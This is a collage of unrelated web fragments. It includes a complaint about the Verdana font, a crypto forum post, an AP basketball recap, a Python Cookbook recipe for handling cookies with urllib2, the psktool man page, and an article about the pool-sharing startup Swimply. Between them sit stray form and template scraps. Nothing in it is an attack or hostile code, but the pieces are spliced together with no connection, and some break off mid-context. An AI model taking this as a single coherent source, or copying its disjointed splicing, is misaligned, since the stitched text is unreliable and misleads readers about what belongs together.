Back in the olden days of the interweb, we didn't have nice big screens with fantastical resolutions. We didn't have nicely anti-aliased, easily readable text. To fit enough information on a small screen, the fonts used were blocky and tiny. At small font sizes, text displayed in Arial typeface would huddle together and become difficult to read. Not Verdana, with it's "generous width and spacing". It was open and easy to read. Soon everyone wanted a bit of the action. All the sans-serif web pages started using Verdana it spread like a virus.
Roll forward to the present and it seems that 1200 pixels is now the minimum screen width that people have. With larger screens, the font can be larger and so easier to read. We no longer need such generosity in our width and spacing. A return to classic typography is due.
To make a difference, check through the list below and help eradicate Verdana font from the planet.
Here's how to add a separate print stylesheet:
<link rel="stylesheet" href="/print.css" type="text/css" media="print" />
Here's the basic content for print.css:
body { font-family: helvetica, arial, sans-serif; }
Verdana was designed as a screen font for small displays. It just doesn't look good in printed material or displayed big on projectors.


Weather App
____________________________________
Enter Correct Country/City Name
< / > with ❤ by
Swapnil Srivastava
#30DaysOfJavaScript


hyperDEX
05-Jul-19 09:05 AM
So it is fine to sit back and let our fate be controlled by a marketing team, or we take responsibility for our investments and give it the best chance it has to get out there
That is a very self defeating way of looking at it. I wont help increase my net worth because someone is being paid to help increase my net worth?
Why not both do it and increase it 2x?
This goes to the heart of the problem, if you feel like you should be paid to market a tech/coin, why are you in the coin in question?


Frye leads Bowling Green past Cincinnati 91-84 in OT
ST. THOMAS (AP) - Dylan Frye matched his career high with 28 points, including seven in overtime, as Bowling Green beat Cincinnati 91-84 at the Paradise Jam on Sunday night for its fourth consecutive win.
Frye hit three 3-pointers, made 9 of 10 free throws, grabbed nine rebounds and had six assists. Daeqwon Plowden scored 18 points and Justin Turner, Caleb Fields and Trey Diggs each added 10 for Bowling Green (5-1).
Frye made two foul shots, assisted on a layup by Dylan Swingle and then hit a 3-pointer during a 7-0 spurt that gave the Falcons a five-point lead halfway through the extra period. Chris Vogt made the first of two free throws and Jarron Cumberland putback the second to trim Cincinnati’s deficit to 81-79 but Plowden made two foul shots with 1:55 to play and the Bearcats got no closer.
Jaevin Cumberland had 21 points for Cincinnati (3-2). Chris McNeal added 17 points and Jarron Cumberland scored 11.
The Bearcats led by nine with three minutes left in regulation, but Frye scored eight points in a 13-4 run capped by Trey Diggs’ 3-pointer that forced overtime.
Four Falcons players fouled out and another had four of Bowling Green’s 35 fouls as Cincinnati attempted 55 free throws - third most in program history and second most in a Division I game this season (Western Michigan, 57). The Bearcats, however, shot just 56.4% from the stripe, including 7 of 14 in OT.
For more AP college basketball coverage: https://apnews.com/Collegebasketball and http://twitter.com/AP_Top25
Elements of this story were generated by Automated Insights, http://www.automatedinsights.com/ap, using data from STATS LLC, https://www.stats.com
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You are ready to render the app. Rendering should create a site/ directory with an index.html file associated with our first page. Go ahead and load it into your browser.
As we go through each step, render the app and explore the chages we've made.
app.render()
# optionally pass an alternate path
app.render("docs/")


Whitelisted words are: foo, hello world.
The phrase "{{data.fruitName}}" is not allowed
required
Submit


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Enter Password
Public Profile URL:
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Recipe 14.7. Handling Cookies While Fetching Web PagesCredit: Mike Foord, Nikos Kouremenos ProblemYou need to fetch web pages (or other resources from the web) that require you to handle cookies (e.g., save cookies you receive and also reload and send cookies you had previously received from the same site). SolutionThe Python 2.4 Standard Library provides a cookielib module exactly for this task. For Python 2.3, a third-party ClientCookie module works similarly. We can write our code to ensure usage of the best available cookie-handling moduleincluding none at all, in which case our program will still run but without saving and resending cookies. (In some cases, this might still be OK, just maybe slower.) Here is a script to show how this concept works in practice: import os.path, urllib2 from urllib2 import urlopen, Request COOKIEFILE = 'cookies.lwp' # "cookiejar" file for cookie saving/reloading # first try getting the best possible solution, cookielib: try: import cookielib except ImportError: # no cookielib, try ClientCookie instead cookielib = None try: import ClientCookie except ImportError: # nope, no cookies today cj = None # so, in particular, no cookie jar else: # using ClientCookie, prepare everything urlopen = ClientCookie.urlopen cj = ClientCookie.LWPCookieJar( ) Request = ClientCookie.Request else: # we do have cookielib, prepare the jar cj = cookielib.LWPCookieJar( ) # Now load the cookies, if any, and build+install an opener using them if cj is not None: if os.path.isfile(COOKIEFILE): cj.load(COOKIEFILE) if cookielib: opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) urllib2.install_opener(opener) else: opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cj)) ClientCookie.install_opener(opener) # for example, try a URL that sets a cookie theurl = 'http://www.diy.co.uk' txdata = None # or, for POST instead of GET, txdata=urrlib.urlencode(somedict) txheaders = {'User-agent': 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'} try: req = Request(theurl, txdata, txheaders) # create a request object handle = urlopen(req) # and open it except IOError, e: print 'Failed to open "%s".' % theurl if hasattr(e, 'code'): print 'Error code: %s.' % e.code else: print 'Here are the headers of the page:' print handle.info( ) # you can also use handle.read( ) to get the page, handle.geturl( ) to get the # the true URL (could be different from `theurl' if there have been redirects) if cj is None: print "Sorry, no cookie jar, can't show you any cookies today" else: print 'Here are the cookies received so far:' for index, cookie in enumerate(cj): print index, ': ', cookie cj.save(COOKIEFILE) # save the cookies again DiscussionThe third-party module ClientCookie, available for download at http://wwwsearch.sourceforge.net/ClientCookie/, was so successful that, in Python 2.4, its functionality has been added to the Python Standard Libraryspecifically, the cookie-handling parts in the new module cookielib, the rest in the current version of urllib2. So, you do need to be careful if you want your code to work just as well on any 2.4 installation (using the latest and greatest cookielib) or an installation of Python 2.3 with ClientCookie on top. As long as we're at it, we might as well handle running on a 2.3 installation that does not have ClientCookierun anyway, just don't save and resend cookies when we lack library code to do so. On some sites, the inability to handle cookies will just be a bother and perhaps a performance hit due to the loss of session continuity, but the site will still work. Other sites, of course, will be completely unusable without cookies. The recipe's code is an exercise in the careful management of an idiom that's an essential part of making your Python code portable among releases and installations, while ensuring minimal graceful degradation when third-party modules you'd like to use just aren't there. The idiom is known as conditional import and is expressed as follows: try: import something except ImportError: # 'something' not available ...code to do without, degrading gracefully... else: # 'something' IS available, hooray! ...code to run only when something is there... # and then, go on with the rest of your program ...code able to run with or w/o `something'... The use of "conditional import" is particularly delicate in this recipe because ClientCookie and cookielib aren't drop-in replacements for each othertherefore, careful management is indeed necessary. But, if you study this recipe, you will see that it is not rocket scienceit just requires attention. One key technique is to make double use of a small number of names as "flags", with value None when the object to which they would normally refer is not available. In this recipe, we do that for cookielib (which refers to the module of that name when there is one, and otherwise to None) and cj (which refers to a cookie-jar object when there is any, and otherwise to None). Even better, when feasible, is to assign names appropriately to refer to the best available object under the circumstances: the recipe does that for variables urlopen and Request. Note how crucial it is for this purpose that Python treats all objects as first class: urlopen is a function, Request is a class, cookielib (if any) a module, cj (if any) an instance object. The distinction, however, doesn't matter in the least: the name-object reference concept is exactly the same in every case, with total uniformity, simplicity, and power. When either cookielib or ClientCookie is available, the cookies are saved in a file in cookie jar format (a useful plain-text format that is automatically handled by either module but can also be examined and modified with text editors and other programs). If the file already exists when the program runs, cookies are loaded from the file, ready to be sent back to the appropriate sites. My reason for developing this code is that I'm developing a cgi-proxy, approx.py (http://www.voidspace.org.uk/atlantibots/pythonutils.html#cgiproxy), which needs to be able to handle cookies when feasible. To keep the proxy usable on various versions of Python, and ensure it degrades gracefully when no cookie-handling library is available, I needed to develop the carefully managed conditional imports that are shown in the recipe's Solution. I decided to share them in this recipe since, besides the importance of cookie handling, conditional imports are such a generally important Python idiom. Particularly when installing your code on a server you don't control, it is unfortunately quite common to have little say in which version of Python is running, nor in which third-party extensions are installedexactly the kind of situation that requires the conditional import technique to ensure your code does the best it can under the circumstances. See AlsoDocumentation on the cookielib and urllib2 standard library modules in the Library Reference for Python 2.4; ClientCookie is at http://wwwsearch.sourceforge.net/ClientCookie/. |


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{% extends "base.html" %} {% block content %} 500 Internal Server Error The request was unsuccessful due to an unexpected condition encountered by the server. {% endblock %}
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psktool
Section: User Commands (1)Updated: February 21st 2005
Index Return to Main Contents
NAME
psktool - Simple PSK password toolSYNOPSIS
psktool [options]DESCRIPTION
Very simple program that generates random keys for use with TLS-PSK. The keys are stored in hexadecimal format in a file.OPTIONS
- --keysize BYTES
- specify the number of bytes of the key
- -p, --passwd FILE
- Specify a password file.
- -u, --username username
- Specify username.
- -h, --help
- Prints a short reminder of the command line options.
EXAMPLES
To create a passwd.psk with a user called test for use with gnuTLS run:
-
$ psktool --passwd /etc/passwd.psk -u test
AUTHOR
Nikos Mavroyanopoulos<EMAIL_ADDRESS>and others; see /usr/share/doc/gnutls-bin/AUTHORS for a complete list.
Index
This document was created by man2html, using the manual pages.
Time: 05:29:09 GMT, December 24, 2015


'Airbnb for swimming pools' launches in Australia
by Cara WatersInspiration for Swimply, the online marketplace for pool sharing, struck founder Bunim Laskin one hot New Jersey summer.
The 22-year-old entrepreneur has 11 siblings and the family watched with rapt attention when a neighbour built a swimming pool for her grandkids to use.
"We struck a deal my family would help cover the costs so we would have access whenever the grandkids weren't over," Laskin says. "She was actually making a profit and I thought I can bring this community driven solution to as many people as possible."
Swimply, the online marketplace for pool sharing that he started in 2017 is launching in Australia on Tuesday and Laskin says the startup will "democratise" pool ownership in Sydney, Melbourne and Brisbane.
The startup has raised $1.7 million from private investors after Laskin got his start using Google Earth to discover which houses in his neighbourhood had pools and knocking on their doors to ask them to sign up to Swimply.
"I knocked on 80 doors and got four to sign up," he says. "I entered the scene a rejection veteran literally having the door slammed on me 76 times."
We are not just an alternative to getting wet.Bunim Laskin
Swimply's launch in Australia will be the first international market for the startup.
It has entered into a partnership with pool maintenance supplier Poolwerx giving Swimply access to a database of over 70 per cent of all pools.
Poolwerx will also undertake compliance checks of all pools to make sure they meet Swimply's hygiene and safety standards.
"We saw Australia as an opportunity since day one," Laskin says. "Australians do love a pool and it is a country of 2.7 million pools with the highest pool ownership per capita in the world. Australia is also very adaptable to the sharing economy model."
Laskin says Swimply will offer three pricing tiers of $25 an hour, $50 an hour or $75 an hour depending on the location and the features of the pool.
The startup makes its money by taking 15 per cent of the commission paid to hosts and charging users a 10 per cent service fee.
Laskin won't reveal the startup's turnover but says in the United States Swimply's app was downloaded 15,000 times in the first two weeks of launch.
"It has slowed down since then," he says.
Swimply is raising a further $3 million to drive its global expansion and to help it address crucial issues like insurance and where to go to the toilet.
Laskin says Swimply "encourages" its hosts to offer toilets to Swimply users.
"We do incentivise our hosts," he says. "If you don't offer a restroom we don't allow over a one hour reservation."
He says safety is "100 per cent" a concern for Swimply.
"I have a lot of younger siblings so it is something that strikes home for me, it is something we approach incredibly cautiously," he says.
Users under the age of 18 are not able to make a booking without supervision.
"At this point we have done thousands and thousands of hours booked with zero incidents to date," he says. "Our goal is to certify these pools and provide the safest experience possible and use that data to create an insurance policy that can kick in."
Laskin is also undeterred by competition from the many public swimming pools in Australia.
"We are not just an alternative to getting wet," he says. "We are trying to replicate the pool ownership experience. Until now the only way to achieve this was to be very economically privileged."